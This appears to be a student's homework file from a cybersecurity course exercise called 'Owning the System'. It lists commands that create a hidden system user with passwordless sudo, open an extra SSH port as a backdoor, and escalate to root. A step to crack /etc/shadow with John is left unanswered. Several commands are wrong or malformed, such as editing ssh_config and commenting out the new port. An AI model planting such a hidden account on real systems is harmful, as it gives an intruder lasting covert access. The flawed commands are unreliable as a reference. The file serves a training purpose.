**## Week 6 Homework Submission File: Advanced Bash - Owning the System**

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

**\*\*Step 1: Shadow People\*\***

1. Create a secret user named `sysd`. Make sure this user doesn't have a home folder created:

- `adduser --system --no-create-home sysd`

2. Give your secret user a password:

- `sudo passwd sysd`

3. Give your secret user a system UID < 1000:

- `usermod -u 0020 sysd`

4. Give your secret user the same GID:

- `usermod -g 0020 sysd`

5. Give your secret user full `sudo` access without the need for a password:

- `sudo visudo

Under #includedir /etc/sudoers.d

Sysd ALL=(ALL) NOPASSWD:ALL`

6. Test that `sudo` access works without your password:

Sudo -lU sysd

**\*\*Step 2: Smooth Sailing\*\***

1. Edit the `sshd\_config` file:

`sudo nano vi /etc/ssh/ssh\_config’

Add in “#Port 2222” under “#Port22”

sudo ufw allow 2222/tcp

**\*\*Step 3: Testing Your Configuration Update\*\***

1. Restart the SSH service:

- `sudo systemctl restart ssh.service`

2. Exit the `root` account:

- `sudo service ssh restart`

3. SSH to the target machine using your `sysd` account and port `2222`:

- `ssh sysd@192.168.6.105 -p 2222

`

4. Use `sudo` to switch to the root user:

- `sudo su root`

**\*\*Step 4: Crack All the Passwords\*\***

1. SSH back to the system using your `sysd` account and port `2222`:

- `Your solution command here`

2. Escalate your privileges to the `root` user. Use John to crack the entire `/etc/shadow` file:

- `Your solution command here`

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